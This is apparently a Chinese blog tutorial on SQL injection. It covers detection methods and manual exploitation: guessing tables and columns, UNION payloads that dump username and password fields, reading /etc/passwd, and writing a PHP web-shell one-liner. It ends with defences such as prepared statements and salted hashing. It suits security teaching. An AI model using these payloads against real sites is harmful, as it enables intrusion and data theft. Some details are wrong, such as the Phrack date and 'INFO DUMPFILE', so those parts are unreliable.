【安全测试】sql注入
SQL注入攻击是黑客对 数据库 进行攻击的常用手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多,但是由于程序员水平及经验页参差不齐,相当大部分程序员在编写代码的时候没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的WEB页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相仿灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
一般出现在web或者任何有输入框的地方。
1988年《Phrack》第54期一篇文章“NT Web Technology Vulnerabilities”第一次提到SQL注入
注入的本质:把用户输入的数据当作代码执行
SQL 注入(SQL Injection):就是通过将恶意的SQL指令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL指令。
一、SQL注入的危害
非法读取 篡改 添加 删除数据库中的数据(脱裤)
盗取用户各类敏感信息,获取利益
私自添加删除账号
上传木马后门
二、sql注入类型
按有无错误回显信息来分类
1.有回显注入
会将数据库内的错误点暴露出来
2.盲注 SQL Injection(Blind)
内建报错信息可以帮助开发人员发现和修复问题
内建报错信息有大量关于系统的信息
不显示数据库内建的报错信息,使用通用的报错信息
三、SQL注入的方法
1、自动进行SQL注入神器——sqlmap
2、手工注入
eg. 可以对某些普通网址进行检测 也可以 直接 到 DVWA 网站进行检测
①判断是否有注入点
a.基于报错的检测
如果原先输入框的 sql 语句是
select username,password from user where username = '%s'
这时候我们在这个sql语句后面加上1' ,这时候的单引号不能完美闭合,会出现报错,此处如果报错必有注入点
并且通过报错信息出来的字段如果是查询出来Firstname , Surname 可以知道可能这句sql语句是
select Firstname,Surname from user where id = '
b.基于布尔的检测
如果原先输入框的 sql 语句是
select Firstname,Surname from user where id = '
这时候我们在sql语句后面加上 1' and 1 = 1' 则执行正确
这时候我们在sql语句后面加上 1' and 0 = 1' 则执行错误
说明当前有注入点
c.基于时间的检测
1' and sleep (5) and 'abcd' = 'abcd'
如果当前发现用了sleep之后 请求响应时间有变长,说明当前有注入点
d.基于UNION联合查询的检测
'union select 1,2 --
'union select user(),database() --
在数据库中的user(),database()表示的是可以查出表和数据库,用这两个就可以查出当前的数据库和表的名字等
--在sql中表示为注释
e.基于堆叠查询的检测
在SQL中 分号(;)表示一条sql语句的结束
Mysql的mysql_query()函数 不允许查询堆叠或一个函数调用执行多个查询
局限性在于并不是每一个环境下都可以执行,可能受到API或数据库引擎不支持的限制
②有注入点,查询数据
可以用mysql内有的内置库 information_schema.tables查找所有的表,加上count(*)输入数据库语句,可以查找出当前有多少数据库,有多少表,根据当前的表去查看表里面的字段和列,然后可以直接读取到表里面的数据
猜测:
也可以用一些常用的表名来进行猜测,
a.猜表名:http://www.xxx.com/product.asp?id=12 exists(select * from 表名) 这里表名可以是我们常见的一些,比如user、admin、manage_user、login_user等等。这个需要自己多留意,多总结,看看常见的数据库关于存储用户名和密码的表都有哪些,
b.猜字段: 如果 步骤a 中的页面显示结果为正常,那说明我们数据库中存在我们刚才猜解得表名,接下来就是http://www.xxx.com/product.asp?id=12 exists(select username,password from 表名),这里username和password是最常见的字段名,也可以是name,pwd,当然可能也真有比较奇葩的DBA按照这样的方式来创建字段,xingming、yonghuming、mima、kouling等
c.猜字段数 :如果 步骤b 中页面显示正常,证明我们猜测的字段是存在的,接下来就是通过默认排序猜测字段数。http://www.xxx.com/product.asp?id=12 order by 10 查看返回页面是否正常,如果不正常可以采用“二分法”改成5继续测试,只到页面正常(不知道“二分法”的可以自行度娘)。比如测试为5时显示正常,那么进行步骤d.
d.联合查询:http://www.xxx.com/product.asp?id=12 union select 1,2,3,4,5 from 表名 ,查看页面回显的数值。
e.显位和占位:接下来,就是将2和3替换成username和password, http://www.xxx.com/product.asp?id=12 union select 1,username,password,4,5 from 表名,将字段内容回显出来。
除了查询数据库中的数据之外 还可以读取文件
如读取/etc/passwd
union select null,load_file('/etc/passwd') --
写文件:‘union select null,“<?php passthru($_GET['cmd']);?>" INFO DUMPFILE “/tmp/a.php"--
这属于是一句话木马,就可以把我 自己新建的一个文件写入某一个目录下。
知道表名,数据等 就可以删库跑路....
此处注意,脱库 超过3条数据就是违法行为!!
四、sql注入的防御
1.使用sql语句预编译和绑定变量
①采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setString方法传值即可:
String sql= "select * from users where username=? and password=?;
PreparedStatement preState = conn.prepareStatement(sql);
preState.setString(1, userName);
preState.setString(2, password);
ResultSet rs = preState.executeQuery();
2.严格检查参数类型及过滤(正则式过滤)
①采用正则表达式将包含有 单引号('),分号(;) 和 注释符号(--)的语句给替换掉来防止SQL注入
public static String TransactSQLInjection(String str)
{
return str.replaceAll(".*([';]+|(--)+).*", " ");
// 我认为 应该是return str.replaceAll("([';])+|(--)+","");
}
userName=TransactSQLInjection(userName);
password=TransactSQLInjection(password);
Statement sta = conn.createStatement();
ResultSet rs = sta.executeQuery(sql);
其他一些防御
密码等敏感信息加密存储
数据库用户读写分离
运行mysql系统账户要降低权限(像docker、angix所使用的sql系统账户都是权限比较低的比如只有读的权限等)
密码加盐存储
密码可能存在的问题:
撞库
(常常出现于 有的人所有的网站用的都是同一个密码,我破解了一个网站的密码 就可以知道其它的网站的账号密码)
密码破解(查表法、反向查表法、彩虹法、暴力破解---已经脱库了根据表内的密码进行穷举查表)
加盐哈希
(因为md5加密有大量重复的加密值,只要知道加密值就可以反向对密码加入随机码,所以才去加盐哈希,一个密码+盐值再进行哈希之后存在数据库中的是哈希值和盐值,用户输入密码加上数据库中的盐值然后与数据库中的哈希值比较,如果相同则通过验证)
慢速哈希(让哈希的响应速度变慢,这样大量耗费破解时间,让破解成本大于破解后的成本)
不过千万不要干违法的事情!千万不要干违法的事情!千万不要干违法的事情!重要的事情说三遍!